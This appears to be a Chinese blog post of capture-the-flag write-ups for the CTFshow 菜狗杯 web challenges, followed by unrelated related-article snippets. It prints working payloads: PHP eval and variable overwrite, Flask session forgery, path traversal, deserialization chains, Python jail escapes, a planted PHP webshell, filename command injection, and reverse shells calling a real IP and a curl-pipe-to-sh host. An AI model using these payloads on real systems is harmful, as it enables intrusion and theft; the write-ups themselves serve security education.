当前位置: 首页 > news >正文

CTFshow 菜狗杯 web方向 全

文章目录

  • 菜狗杯 web签到
  • 菜狗杯 web2 c0me_t0_s1gn
  • 菜狗杯 我的眼里只有$
  • 菜狗杯 抽老婆
  • 菜狗杯 一言既出
  • 菜狗杯 驷马难追
  • 菜狗杯 TapTapTap
  • 菜狗杯 Webshell
  • 菜狗杯 化零为整
  • 菜狗杯 无一幸免
  • 菜狗杯 无一幸免_FIXED
  • 菜狗杯 传说之下(雾)
  • 菜狗杯 算力超群
  • 菜狗杯 算力升级
  • 菜狗杯 easyPytHon_P
  • 菜狗杯 遍地飘零
  • 菜狗杯 茶歇区
  • 菜狗杯 小舔田?
  • 菜狗杯 LSB探姬
  • 菜狗杯 Is_Not_Obfuscate
  • 菜狗杯 龙珠NFT

菜狗杯 web签到

先看题目,源码没东西,感觉像套娃一句话马。

1678682550836

先是cookie传参

再是POST传参

再是GET传参

再是REQUEST传参

最后是eval命令执行

具体的传参只可意会不可言传。。。。。

1678683712383

来源于羽师傅:
假如cookie中传入CTFshow-QQ群:=a那么就会出现$_POST['a'],假如post传入的值为a=b,那么就会得到$_GET['b'],接着假如get传入b=c就会得到$_REQUEST['c']。
而$_REQUEST就get、post都可以接收啦。
加入再get传入c=123那么前面这一部分($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]])的值就是123了。
但是最终是需要通过数组下标的方式给到eval的。所以c传个数组就可以了
c[6][0][7][5][8][0][9][4][4]=system('ls');

注意点:中文要url编码掉;REQUEST可以接受任何传参方式,见下图。

1678683852561

payload:

CTFshow-QQ%E7%BE%A4:=c   //COOKIE
c=b   //POST
?b=a&a[6][0][7][5][8][0][9][4][4]=system('tac /f1agaaa');   //GET

菜狗杯 web2 c0me_t0_s1gn

先看题目,Ctrl+u一下

1678684284866

源码里面给了半个flag和hint

1678684352763

控制台提示运行方法g1ve_flag(),运行完给了另外半个flag。

1678684481133

菜狗杯 我的眼里只有$

先看题目,都是马内。

extract (): 从数组中将变量导入到当前的符号表 。

extract($_POST);: 将post上来的数据直接都解析成变量的形式,在代码中可以直接使用

1678690329454

变量覆盖题,总共36个$,写脚本吧。

import string
s = string.ascii_letters
t=""
for i in range(35):t+="_"+str(i)+"="+"_"+str(i+1)+"&"t+="_35"+'='+"RCEEE"
print(t)#记得把前面的0去掉,RCEEE填命令哦

payload:

_=_1&_1=_2&_2=_3&_3=_4&_4=_5&_5=_6&_6=_7&_7=_8&_8=_9&_9=_10&_10=_11&_11=_12&_12=_13&_13=_14&_14=_15&_15=_16&_16=_17&_17=_18&_18=_19&_19=_20&_20=_21&_21=_22&_22=_23&_23=_24&_24=_25&_25=_26&_26=_27&_27=_28&_28=_29&_29=_30&_30=_31&_31=_32&_32=_33&_33=_34&_34=_35&_35=system('tac /f1agaaa');

1678691378632

菜狗杯 抽老婆

先看题目,嘶。

芙蓉白面,不过带肉骷髅;芍药红妆,乃是杀人利刃。 ----- 文昌帝君戒淫宝训

1678721434137

遇事不决抓个包,看见了session,session伪造试试。

1678721544413

现在就是找密钥了,顺便补充一下session知识。

如果Session是存储在我们本地的浏览器上的,我可以随时的获取到这个值,但是我们所获取的值是经过算法加密的。如果我们需要伪造这个Session值我们就需要进行session的解码,然后改变里面的一些值,再进行加密进而达到伪造的效果。 需要得到Cookie里面的session密钥

网址+/download?file=…/…/…/app/app.py 相对路径读到源码。(任意文件下载漏洞)

密钥是:tanji_is_A_boy_Yooooooooooooooooooooo!
访问路径:/secret_path_U_never_know

1678811615367

NND,网上怎么没人教flask-session-cookie-manager-master怎么安装啊。后来自己解决了,直接拖进kali,桌面开终端,简单粗暴哈哈。

1678721401137

命令:
解密:python flask_session_cookie_manager3.py decode -s "密钥" -c “需要解密的session值"payload:
python flask_session_cookie_manager3.py decode -s "tanji_is_A_boy_Yooooooooooooooooooooo\!" -c "eyJjdXJyZW50X3dpZmkiOiI3OTMxNWY2ZDg1NzA5NWJmOGU4Y2JkYjZlYzA0NTgzMC5qcGciLCJpc2FkbWluIjpmYWxzZX0.ZA9B-Q.4P4k3M2ZmpBp8ajAZibMhSsBuiM"
【记得!->\!】加密:python flask_session_cookie_manager3.py encode -s "密钥" -t "需要加密的session值"payload:
python flask_session_cookie_manager3.py encode -s "tanji_is_A_boy_Yooooooooooooooooooooo\!" -t "{'current_wifi': '79315f6d857095bf8e8cbdb6ec045830.jpg', 'isadmin': True}"
【记得!->\!】session:eyJjdXJyZW50X3dpZmkiOiI3OTMxNWY2ZDg1NzA5NWJmOGU4Y2JkYjZlYzA0NTgzMC5qcGciLCJpc2FkbWluIjp0cnVlfQ.ZA9MFQ.MVfjVcYkoADwJI7zMthcUH9z7P4

1678724375214

拿到flag

1678811741229

菜狗杯 一言既出

先看题目,考察 intval ()函数性质。

1678812291511

秒出

payload:?num=114514%2b1805296
也可以:?num=114514);//     利用闭合,感觉类似SQL注入

菜狗杯 驷马难追

先看题目,多了过滤,上题第一个payload能用。

1678812604296

菜狗杯 TapTapTap

先看题目,第十五关寄了,老老实实做题吧。

源码里面找到一个关键函数。(应该是通关一关的意思)

屏幕截图 2023-03-15 100158

控制台多运行几次,flag就在这个地址里面。

屏幕截图 2023-03-15 095908

菜狗杯 Webshell

先看题目,反序列化,不难。

shell_exec() : 通过 shell 执行命令并将完整的输出以字符串的方式返回,类似于system() 1678846602340

exp:

<?php
class Webshell {public $cmd = 'tac fl*';}
$j17 = new Webshell();
echo serialize($j17);
echo urlencode(serialize($j17));
?>

payload:

?cmd=O:8:"Webshell":1:{s:3:"cmd";s:7:"tac%20fl*";}

1678847071708

菜狗杯 化零为整

先看题目, count($_ GET)的意义是获取get的参数个数 ,$result=$result.$_ GET[$i]:拼接字符串。

1678849211877

每次只能输入一个字符,汉字算两个字符。我们将大牛URL编码%E5%A4%A7%E7%89%9B,然后一个一个输入。

payload:

?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B

菜狗杯 无一幸免

先看题目,又是PHP。仔细看,if里面是赋值(=),不是判断(==)。

payload:

?0=传啥都行

如果题目是==
payload:

?0=214748364   //使用数组整型溢出绕过赋值式“永真”
?0[]=1   //数组绕过

菜狗杯 无一幸免_FIXED

修复了哈,但是不是变成==了,if语句反了一下。

1678897145921

$arr[]=1 意思是给数组下一个下标赋值为1

数组下标上限为9223372036854775807(64位) ,2^63-1

payload:

?0=9223372036854775807     //数组下标溢出,要刚刚好,多了会截断,刚刚好时,经过$arr[]=1下标直接溢出,无法赋值。

菜狗杯 传说之下(雾)

先看题目,又是个前端小游戏。

1678854269904

改一下代码,然后Ctrl+s保存。吃个果子就行了,flag在控制台里面。

1678855271138

菜狗杯 算力超群

沙箱逃逸:Python Jail 沙盒逃逸 合集_Jay 17的博客-CSDN博客

先看题目。

屏幕截图 2023-03-16 002211

育儿茶师傅说过: 一般碰到计算器就很容易和命令执行扯到一块。

抓包看看参数。GET传参提交我们要计算的数据,应该是在后端进行运算。然后返回。

image-20230831183946522

number2整成长一点的字符串,导致报错,骗出部分后端源码看看。

/_calculate?number1=22&operator=*&number2=hsjakdhfkjsad

image-20230831184441841

发现路径是/app/app.py,python语言,用危险函数eval()进行运算。这里我们使用沙箱逃逸,执行命令反弹shell。

vps起监听。

payload:

/_calculate?number1=1&operator=-&number2=1,__import__ ('os').system(' nc 120.46.41.173 9023 -e /bin/sh')

image-20230831185428209

题目源码来自writeup:

# -*- coding: utf-8 -*-
# @Time    : 2022/11/2
# @Author  : 探姬
# @Forkfrom:https://github.com/helloflask/calculatorimport re
from flask import Flask, jsonify, render_template, requestapp = Flask(__name__)@app.route('/_calculate')
def calculate():a = request.args.get('number1', '0')operator = request.args.get('operator', '+')b = request.args.get('number2', '0')m = re.match(r'^\-?\d*[.]?\d*$', a)n = re.match(r'^\-?\d*[.]?\d*$', a)if m is None or n is None or operator not in '+-*/':return jsonify(result='Error!')if operator == '/':result = eval(a + operator + str(float(b)))else:result = eval(a + operator + b)return jsonify(result=result)@app.route('/')
def index():return render_template('index.html')@app.route('/hint')
def hint():return render_template('hint.html')if __name__ == '__main__':app.run()

源码确实没对number2进行正则匹配校验(re模块),所以number2是沙箱逃逸唯一入手点。

菜狗杯 算力升级

沙箱逃逸:Python Jail 沙盒逃逸 合集_Jay 17的博客-CSDN博客

先看题目:

image-20230831185631684

这次的传参形式略微有所变化。是POST提交,只有一个参数code

image-20230831185805897

扫一下后台,扫出路由/source,里面是源码。

image-20230831190031442

image-20230831190045489

# !/usr/bin/env python
# -*-coding:utf-8 -*-
"""
# File       : app.py
# Time       :2022/10/20 15:16
# Author     :g4_simon
# version    :python 3.9.7
# Description:算力升级--这其实是一个pyjail题目
"""
from flask import *
import os
import re,gmpy2 
import json
#初始化全局变量
app = Flask(__name__)
pattern=re.compile(r'\w+')
@app.route('/', methods=['GET'])
def index():  return render_template('index.html')
@app.route('/tiesuanzi', methods=['POST'])
def tiesuanzi():code=request.form.get('code')for item in pattern.findall(code):#从code里把单词拿出来if not re.match(r'\d+$',item):#如果不是数字if item not in dir(gmpy2):#逐个和gmpy2库里的函数名比较return jsonify({"result":1,"msg":f"你想干什么?{item}不是有效的函数"})try:result=eval(code)return jsonify({"result":0,"msg":f"计算成功,答案是{result}"})except:return jsonify({"result":1,"msg":f"没有执行成功,请检查你的输入。"})
@app.route('/source', methods=['GET'])
def source():  return render_template('source.html')
if __name__ == '__main__':app.run(host='0.0.0.0',port=80,debug=False)

审计源码可知,源码对于输入的限制是一个正则(re.match(r'\d+$',item)),和一个查找(if item not in dir(gmpy2))。要求要么是数字,要么是gmpy2库中的函数(dir(gmpy2)中的内容)。

dir(gmpy2)执行结果自己本地运行一下就好了,可用的函数挺多的。

image-20230831213831154

在本地环境中试一下,发现gmpy2.__builtins__是含有eval函数的。

那我们的目标就是,让源码中的eval执行:

gmpy2.__builtins__['eval']("__import__('os').popen('tac /flag').read()")

只允许gmpy2库中的函数,我们不能直接用eval,那就间接用可用函数构造出eval。这里使用字符串下标操作。

'erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]==='eval'

手搓太长了,直接使用脚本:

s="__import__('os').popen('tac /flag').read()"import gmpy2payload="gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]("for i in s:if i not in "/'(). ":temp_index=0temp_string='x'*20for j in dir(gmpy2):if j.find(i)>=0:if len(j)<len(temp_string):temp_string=jtemp_index=j.find(i)payload+=f'\'{temp_string}\'[{temp_index}]+'else:payload+=f'\"{i}\"+'payload=payload[:-1]+')'print(payload)

payload:

POST:
code=gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]('c_div'[1]+'c_div'[1]+'ai'[1]+'agm'[2]+'cmp'[2]+'cos'[1]+'erf'[1]+'cot'[2]+'c_div'[1]+'c_div'[1]+"("+"'"+'cos'[1]+'cos'[2]+"'"+")"+"."+'cmp'[2]+'cos'[1]+'cmp'[2]+'erf'[0]+'jn'[1]+"("+"'"+'cot'[2]+'ai'[0]+'cmp'[0]+" "+"/"+'erf'[2]+'lcm'[0]+'ai'[0]+'agm'[1]+"'"+")"+"."+'erf'[1]+'erf'[0]+'ai'[0]+'add'[1]+"("+")")

image-20230831214150275

菜狗杯 easyPytHon_P

好家伙,直接给源码了。

image-20230831214703873

分析源码,request.form.get表示接受POST提交的参数,关键在于tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)

逐个解析:

subprocess.run:Python subprocess中的run方法 - ccorz - 博客园 (cnblogs.com)做题只需要知道这个函数的第一个参数是执行命令就行了。比如subprocess.run([‘ls’,‘/etc’,‘/’])就等价于ls /etc /。
cmd[:3]:等价于cmd[0:3],表示cmd这个字符串的前三个字符。
__file__:当前文件路径,如我本地运行是D:PycharmProjects\pythonProject\1.py。
cwd=os.getcwd():用于设置子进程的当前目录。os.getcwd()表示当前的目录,比如我本地是D:PycharmProjects\pythonProject,就是不包含当前文件的路径


subprocess.run的第一个参数是[cmd[:3], param, __file__],我们可控

payload1:

POST:
cmd=cat&param=flag.txt

payload2:

python中有一个awk命令,可以执行系统命令,长度刚好为3,格式为awk '{system("ls")}'

POST:
cmd=awk&param={system("cat flag.txt")}
或者平台反弹shell
cmd=awk&param={system("curl https://your-shell.com/ip:port|sh")}

image-20230831220919344

菜狗杯 遍地飘零

源码直接给了

image-20230831221035692

简单的变量覆盖,通过foreach()函数实现。没有过滤,直接把$flag的值赋给$_GET就可以了。最后var_dump($_GET);就是var_dump($flag);

payload:

?_GET=flag

image-20230831223158060


有些刚刚入门的师傅可能会问一个我之前也问过的问题。为什么我们不能传参?zeros=flag呢,这样不是代码执行后输出超全局变量$_GET,里面有变量$zeros,也能拿flag出来?

我们捋一下哈,传参?zeros=flag确实可以使得代码中变量$zeros等于变量$flag。但是超全局变量$_GET本身是一个数组(见下面一张图),也是代码中的一个变量,不主动修改的话$_GET就储存了你输入的东西,以数组键值对形式储存。打个比方,你传参?a=b,那么$_GET的值就是array(1) { ["a"]=> string(1) "b" },里面的键a的值就是你传入的值,传什么就是什么,键a的值不会随着代码运行过程中改变了代码中变量$a而改变。我们的操作是?_GET=flag,这使得超全局变量$_GET的值从原本储存传入参数键值对的数组变成了字符串$flag的值(见上面一张图)。

image-20230831223936449

菜狗杯 茶歇区

先看题目,感觉是整数溢出。

1679040065306

输入9999999999999999999999999999999999999999999999999999试试。

1679040094490

9223372036854775807 是 int64 上限。

顺便补充一点。

uint8 -> 0-255
uint16 -> 0-65535
uint32 -> 0-4294967295
uint36 -> 0-18446744073709551615
int8 -> -127-128
int16 -> -32768-32767
int32 -> -2147483648-2147483647
int64 -> -9223372036854775808-9223372036854775807 

9323372036854775807 19位数

但是此时这里进行x10运算,溢出太多也没有用,所以我们需要传入18位数,这样刚好溢出

payload: 咖啡买932337203685477581个买两次

1679042222408

菜狗杯 小舔田?

源码直接给了。

image-20230831224156876

简单的PHP反序列化,重点是Ion_Fan_Princess::call()方法,直接输出flag。

链子如下:

Moon::__wakeup()->Ion_Fan_Princess::__toString()->Ion_Fan_Princess::call()

EXP:

<?php
class Moon{public $name;
}
class Ion_Fan_Princess{public $nickname;
}$a=new Moon();
$a->name=new Ion_Fan_Princess();
$a->name->nickname="小甜甜";
echo urlencode(serialize($a));

payload:

?code=O%3A4%3A"Moon"%3A1%3A%7Bs%3A4%3A"name"%3BO%3A16%3A"Ion_Fan_Princess"%3A1%3A%7Bs%3A8%3A"nickname"%3Bs%3A9%3A"小甜甜"%3B%7D%7D

image-20230831224406633

菜狗杯 LSB探姬

先看题目,看到上传点,应该是个文件上传的题目。

1679063417257

通过一些手段可以上传.php/.htaccess文件,但是上传后没有返回文件路径,无奈只能翻阅大佬wp复现

分析源码,发现它将文件名拼接到了cmd里,没有进行任何过滤,可以在文件后传入命令。

1679063431858

构造Payload:phartest1.jpg;cat flag.py

1679063476203

菜狗杯 Is_Not_Obfuscate

开题。

image-20230831224614446

信息搜集,源码、扫目录、抓包一套下来,源码中发现了hint,有一个路由/robots.txt

image-20230831225204533

image-20230831225001037

image-20230831225039386

访问路由

/lib.php                 //无果
/lib.php?flag=0          //无果
/plugins                 //无果/lib.php?flag=1          //得到加密的源码

加密源码直接base64解不出来,根据源码中提示放首页解码。(记得url编码)

?input=加密源码的url编码&action=test

源码如下:

<?php
header("Content-Type:text/html;charset=utf-8");
include 'lib.php';
if(!is_dir('./plugins/')){@mkdir('./plugins/', 0777);
}
//Test it and delete it !!!
//测试执行加密后的插件代码
if($_GET['action'] === 'test') {echo 'Anything is good?Please test it.';@eval(decode($_GET['input']));
}ini_set('open_basedir', './plugins/');//设置PHP有权限读写的目录
if(!empty($_GET['action'])){switch ($_GET['action']){case 'pull':$output = @eval(decode(file_get_contents('./plugins/'.$_GET['input'])));echo "pull success";break;case 'push':$input = file_put_contents('./plugins/'.md5($_GET['output'].'youyou'), encode($_GET['output']));echo "push success";break;default:die('hacker!');}
}?>

push写马到文件,源码加密马后写入。pull包含马,解密后包含。所以我们就直接写一句话马就去就行了。文件名是/plugins/路由下的md5($_GET['output'].'youyou')本地自己运行一下就知道是什么了。

写文件:

GET:
?action=push&output=<?php eval($_GET[1]);?>

image-20230901102945433

payload:

GET:
?action=pull&input=d6e1f0ec8980b49f6061227495a77a44&1=system('tac /f1agaaa');phpinfo();

image-20230901103024107

菜狗杯 龙珠NFT

开题。(感觉这个更加像是密码题。。。)

image-20230901105741003

项目说明如下:

老板最近天天看web3.0、元宇宙、区块链、NFT什么的,回来跟我说这就是未来,看到别人卖元宇宙地皮,都快开心疯了,让我研发一个区块链龙珠雷达,但是我不会啊,随便搞点东西看起来像区块链就完事儿了。点击开始搜索进行搜寻,每人可以搜10次,用完了就没了。点击获取龙珠可以根据“龙珠地址”获取龙珠。点击查看库存可以看到现有龙珠库存,凑齐了你就可以许愿了。交易还没有做,找机会再说吧,反正抽中概率只有0.6%,也没人凑得齐。

源码如下:

# !/usr/bin/env python
# -*-coding:utf-8 -*-
"""
# File       : app.py
# Time       :2022/10/20 15:16
# Author     :g4_simon
# version    :python 3.9.7
# Description:DragonBall Radar (BlockChain)
"""
import hashlib
from flask import *
import os
import json
import hashlib
from Crypto.Cipher import AES
import random
import time
import base64
#网上找的AES加密代码,加密我又不懂,加就完事儿了
class AESCipher():def __init__(self,key):self.key = self.add_16(hashlib.md5(key.encode()).hexdigest()[:16])self.model = AES.MODE_ECBself.aes = AES.new(self.key,self.model)def add_16(self,par):if type(par) == str:par = par.encode()while len(par) % 16 != 0:par += b'\x00'return pardef aesencrypt(self,text):text = self.add_16(text)self.encrypt_text = self.aes.encrypt(text)return self.encrypt_textdef aesdecrypt(self,text):self.decrypt_text = self.aes.decrypt(text)self.decrypt_text = self.decrypt_text.strip(b"\x00")return self.decrypt_text
#初始化全局变量
app = Flask(__name__)
flag=os.getenv('FLAG')
AES_ECB=AESCipher(flag)
app.config['JSON_AS_ASCII'] = False
#懒得弄数据库或者类,直接弄字典就完事儿了
players={}
@app.route('/', methods=['GET'])
def index():"""提供登录功能"""
@app.route('/radar',methods=['GET','POST'])
def radar():"""提供雷达界面"""
@app.route('/find_dragonball',methods=['GET','POST'])
def  find_dragonball():"""找龙珠,返回龙珠地址"""xxxxxxxxxxx#无用代码可以忽略if search_count==10:#第一次搜寻,给一个一星龙珠dragonball="1"elif search_count<=0:data={"code":1,"msg":"搜寻次数已用完"}return jsonify(data)else:random_num=random.randint(1,1000)if random_num<=6:dragonball=一个没拿过的球,比如'6'else:dragonball='0'#0就代表没有发现龙珠players[player_id]['search_count']=search_count-1data={'player_id':player_id,'dragonball':dragonball,'round_no':str(11-search_count),'time':time.strftime('%Y-%m-%d %H:%M:%S')}#json.dumps(data)='{"player_id": "572d4e421e5e6b9bc11d815e8a027112", "dragonball": "1", "round_no": "9", "time":"2022-10-19 15:06:45"}'data['address']= base64.b64encode(AES_ECB.aesencrypt(json.dumps(data))).decode()return jsonify(data)
@app.route('/get_dragonball',methods=['GET','POST'])
def get_dragonball():"""根据龙珠地址解密后添加到用户信息"""xxxxxxxxx#无用代码可以忽略try:player_id=request.cookies.get("player_id")address=request.args.get('address')data=AES_ECB.aesdecrypt(base64.b64decode(address))data=json.loads(data.decode())if data['dragonball'] !="0":players[data['player_id']]['dragonballs'].append(data['dragonball'])return jsonify({'get_ball':data['dragonball']})else:return jsonify({'code':1,'msg':"这个地址没有发现龙珠"})except:return jsonify({'code':1,'msg':"你干啥???????"})
@app.route('/flag',methods=['GET','POST'])
def get_flag():"""查看龙珠库存"""#如果有7颗龙珠就拿到flag~
@app.route('/source',methods=['GET','POST'])
def get_source():"""查看源代码"""
if __name__ == '__main__':app.run(host='0.0.0.0',port=80,debug=False)

正常去做,概率一颗是千分之六,没有可能集齐七龙珠。

分析代码,第一次肯定能找到龙珠。(这个没什么用)

image-20230901110120807

6o4Pz9JnxiH6ghszzUQhlrajAkf7a+7l5WdxiZb4QufRSrrfzo+uWZzavKMHdGWhLVm30D6+5B6BHsmqXaPFNNH2Mu2xJMmAGrWQiW8tfd1GlMCDs+suNYmZMuJtLgOrsw770zGWx0FfSn43vYLbXaub4h9cKgKQDqIPSa86lHM=

继续看下去,我们输入龙珠地址源码中对应的应该是如下图。

image-20230901113000762

输入地址后先base64解密,再AES_ECB解密,本地拿第一次探索龙珠给的地址解个base64发现确实是AES_ECB的密文。

image-20230901113133188

切入点应该是这里,既然我们可以控制地址的传入,那我们就可以伪造地址,获得龙珠!

根据源码可知,address是用AES的ECB模式加密的,ECB模式一组密文对应一组明文,也就是说,可以通过改变密文的顺序从而改变解密后明文的顺序。

image-20230901113556970

以十六位为一组分割,不足16用\x00补齐。

image-20230901111634957

AES_ECB明文一致的时候,AES_ECB密文也一致。

image-20230901114339268

源码中给了一个AES_ECB明文的例子:

image-20230901113934262

按十六个一组分解开来

{"player_id": "5
72d4e421e5e6b9bc
11d815e8a027112"
, "dragonball": 
"1", "round_no":"9", "time":"2022-10-19 15:06:45"}

同一个用户前面4行应该都是一样的,如果去掉第5行变成:

{"player_id": "5
72d4e421e5e6b9bc
11d815e8a027112"
, "dragonball": "9", "time":"2022-10-19 15:06:45"}

dragonball从一开始的1变成了9,导致我们可控。只要dragonball不为0我们就能获得龙珠。

image-20230901114941270

官方exp脚本:

import requests
import json
import base64
import random
url='http://xxxxxxxxxxxxxxxxxxxxxx/'s=requests.session()
username=str(random.randint(1,100000))
print(username)
r=s.get(url+'?username='+username)
responses=[]for i in range(10):r=s.get(url+'find_dragonball')responses.append(json.loads(r.text))for item in responses:data=json.dumps({'player_id':item['player_id'],'dragonball':item['dragonball'],'round_no':item['round_no'],'time':item['time']})miwen=base64.b64decode(item['address'])round_no=item['round_no']if round_no in [str(i) for i in range(1,8)]:fake_address=miwen[:64]+miwen[80:]fake_address=base64.b64encode(fake_address).decode()r=s.get(url+'get_dragonball',params={"address":fake_address})r=s.get(url+'flag')
print(r.text)

image-20230901115018184

相关文章:

CTFshow 菜狗杯 web方向 全

文章目录 菜狗杯 web签到菜狗杯 web2 c0me_t0_s1gn菜狗杯 我的眼里只有$菜狗杯 抽老婆菜狗杯 一言既出菜狗杯 驷马难追菜狗杯 TapTapTap菜狗杯 Webshell菜狗杯 化零为整菜狗杯 无一幸免菜狗杯 无一幸免_FIXED菜狗杯 传说之下&#xff08;雾&#xff09;菜狗杯 算力超群菜狗杯 算…...

深入理解sql:进阶版

目录 背景举例子查询和嵌套查询&#xff1a;联合查询&#xff08;UNION和UNION ALL&#xff09;&#xff1a;窗口函数&#xff1a;CTE&#xff08;公共表达式&#xff09;&#xff1a;索引优化&#xff1a;事务隔离级别和锁定&#xff1a;性能优化&#xff1a;存储过程和函数&a…...

day31 | 455.分发饼干、376. 摆动序列、53. 最大子序和

目录&#xff1a; 解题及思路学习 455. 分发饼干 假设你是一位很棒的家长&#xff0c;想要给你的孩子们一些小饼干。但是&#xff0c;每个孩子最多只能给一块饼干。 对每个孩子 i&#xff0c;都有一个胃口值 g[i]&#xff0c;这是能让孩子们满足胃口的饼干的最小尺寸&#…...

C# textBox 右键菜单 contextMenuStrip

需求&#xff1a; 想在上图空白处可以右键弹出菜单&#xff0c;该怎么做呢&#xff1f; 1.首先&#xff0c;拖出一个 ContextMenuStrip。 随便放哪里都行&#xff0c;如下: 2.在textBox里关联这个“右键控件”即可&#xff0c;如下&#xff1a; 最终效果如下&#xff1a; 以上…...

TCP拥塞控制详解 | 7. 超越TCP

网络传输问题本质上是对网络资源的共享和复用问题&#xff0c;因此拥塞控制是网络工程领域的核心问题之一&#xff0c;并且随着互联网和数据中心流量的爆炸式增长&#xff0c;相关算法和机制出现了很多创新&#xff0c;本系列是免费电子书《TCP Congestion Control: A Systems …...

stm32之26.spi外设

...

C++信息学奥赛1177:奇数单增序列

#include<bits/stdc.h> using namespace std; int main(){int n;cin>>n; // 输入整数 n&#xff0c;表示数组的大小int arr[n]; // 创建大小为 n 的整型数组for(int i0;i<n;i) cin>>arr[i]; // 输入数组元素for(int i0;i<n;i){ // 对数组进行冒泡排序f…...

Java的数组是啥?

1.数组是啥&#xff1f; 数组是一块连续的内存&#xff0c;用来存储相同类型的数据 &#xff08;1&#xff09;如何定义数组&#xff1f; 1.int[] array {1,2,3,4} new int[]{1,2,3,4};//这里的new是一个关键字&#xff0c;用来创建对象 2.数组就是一个对象 动态初始化 …...

我的私人笔记(安装hadoop)

1.安装hadoop01环境 注需安装最小安装和使用英文界面 2.安装群集 // 获得网关IP&#xff1a;192.168.80.2 获得子网掩码&#xff1a;255.255.255.0 // 获得网段&#xff1a;[起始IP地址]192.168.128 --- [结束IP地址]192.168.80.254 // 计划集群的ip和主机名 //192.168.80.…...

【板栗糖GIS】——360浏览器的下载图标隐藏在内部不方便,怎么修改

目录 1. 设置前的本来样子 2. 登录360的皮肤中心 3. 使用se13的经典皮肤 最近edge浏览器最近使用bilibili和notion都非常卡&#xff0c;时不时崩溃&#xff0c;不得不换浏览器使用&#xff0c;试来试去360浏览器最得我心&#xff0c;只不过广告太多&#xff0c;调教也是花了…...

SpringMVC之文件上传和下载

文章目录 前言一、文件下载二、文件上传总结 前言 实现下载文件和上传文件的功能。 一、文件下载 使用ResponseEntity实现下载文件的功能 RequestMapping("/testDown") public ResponseEntity<byte[]> testResponseEntity(HttpSession session) throws IOEx…...

简单了解OSI网络模型

目录 一、协议是什么&#xff1f; 二、OSI七层模型 三、TCP/IP五层模型 一、协议是什么&#xff1f; 协议顾名思义就是通过大家伙一起协商讨论达成的统一规则和标准。网络协议就是规定用户数据信息如何在网络上传播以及实现某种网络技术所要遵循的统一标准和规则。 二、OSI…...

服务网格实施周期缩短 50%,丽迅物流基于阿里云 ACK 和 ASM 的云原生应用管理实践

作者&#xff1a;王夕宁、 刘强、 华相 公司介绍 丽迅物流是百丽旗下专注于时尚产业、为企业提供专业物流及供应链解决方案的服务商。其产品服务主要包括城市落地配、仓配一体、干线运输及定制化解决方案。通过自研智能化物流管理平台&#xff0c;全面助力企业合作集约化发展…...

bpmnjs Properties-panel拓展(属性设置篇)

最近有思考工作流相关的事情&#xff0c;绘制bpmn图的工具认可度比较高的就是bpmn.js了&#xff0c;是一个基于node.js的流程图绘制框架。初始的框架只实现了基本的可视化&#xff0c;想在xml进行客制化操作的话需要拓展&#xff0c;简单记录下几个需求的实现过程。 修改基础 …...

Debian系统上通过NFS挂载远程服务器硬盘

步骤 1&#xff1a;配置远程服务器 在拥有硬盘内容的远程服务器上&#xff0c;进行以下配置&#xff1a; 安装NFS服务器软件&#xff1a; sudo apt-get update sudo apt-get install nfs-kernel-server编辑NFS服务器配置文件 /etc/exports&#xff0c;添加需要共享的目录及其权…...

【Linux】以太网协议以及MTU

以太网协议 数据链路层的功能以太网的数据格式MTUMTU对IP协议的影响MTU对UDP协议的影响MTU对TCP协议的影响 数据链路层的功能 数据链路层的主要功能是&#xff1a;控制链路。包括数据链路的建立、链路的维护和释放。MAC寻址也是它的功能&#xff0c;寻址是指计算机网卡的MAC地…...

UE5打完包后,启动程序不能全屏

最近看到ue5的打包程序后不能默认自动全屏&#xff0c;效果如下&#xff0c;发现并不是全屏的&#xff0c;而且就算点击放大也不是全屏 解决办法&#xff1a;设置如下之后在打包就可以了 但是会一直打印错误的日志&#xff0c;不过这个不影响使用...

财务部发布《企业数据资源相关会计处理暂行规定》

导读 财务部为规范企业数据资源相关会计处理&#xff0c;强化相关会计信息披露&#xff0c;根据《中华人民共和国会计法》和相关企业会计准则&#xff0c;制定了《企业数据资源相关会计处理暂行规定》。 加gzh“大数据食铁兽”&#xff0c;回复“20230828”获取材料完整版 来…...

引用(个人学习笔记黑马学习)

1、引用的基本语法 #include <iostream> using namespace std;int main() {int a 10;//创建引用int& b a;cout << "a " << a << endl;cout << "b " << b << endl;b 100;cout << "a "…...

卷积神经网络实现运动鞋识别 - P5

&#x1f368; 本文为&#x1f517;365天深度学习训练营 中的学习记录博客&#x1f366; 参考文章&#xff1a;Pytorch实战 | 第P5周&#xff1a;运动鞋识别&#x1f356; 原作者&#xff1a;K同学啊 | 接辅导、项目定制&#x1f680; 文章来源&#xff1a;K同学的学习圈子 目录…...

C#安装“Windows 窗体应用(.NET Framework)”

目录 背景: 第一步: 第二步: 第三步&#xff1a; 总结: 背景: 如下图所示:在Visual Studio Installer创建新项目的时候&#xff0c;想要添加windows窗体应用程序&#xff0c;发现里面并没有找到Windows窗体应用(.NET Framework)模板&#xff0c;快捷搜索也没有发现&#…...

SQL高阶语句

目录 1、概念 1.1、概述 1.2、常见的MySQL高阶语句的概念&#xff1a; 1.3、 SQL高阶语句的作用 2、常用查询 2.1、按关键字排序 2.1.1、概述和作用 2.1.2、 &#xff08;1&#xff09;语法 2.1.3、模板表&#xff1a;ky30 ​编辑2.1.4、分数按降序排列 2.1.5、ORDER…...

【交换机】如何通过Web方式登陆交换机

一、华为交换机web登陆配置 Web网管是一种对交换机的管理方式&#xff0c;它利用交换机内置的Web服务器&#xff0c;为用户提供图形化的操作界面。用户可以从终端通过HTTPS登录到Web网管&#xff0c;对交换机进行管理和维护&#xff0c;同时也非常方便。 一、配置思路&#xff…...

Flink CDC学习笔记

第一章 CDC简介 1.1 什么是CDC ​ CDC (Change Data Capture 变更数据获取&#xff09;的简称。核心思想就是&#xff0c;检测并获取数据库的变动&#xff08;增删查改&#xff09;&#xff0c;将这些变更按发生的顺序记录下来&#xff0c;写入到消息中间件以供其它服务进行订…...

NEOVIM学习笔记

GitHub - blogercn/nvim-config: A pretty epic NeoVim setup 一直使用vim&#xff0c;每次到了新公司都要配置半天&#xff0c;而且常常配置失败&#xff0c;很多插件过期不好用。偶然看到别人的NEO VIM&#xff0c;就试着用了一下&#xff0c;感觉还不错。 用来开发和阅读C代…...

Docker三剑客之docker-compose

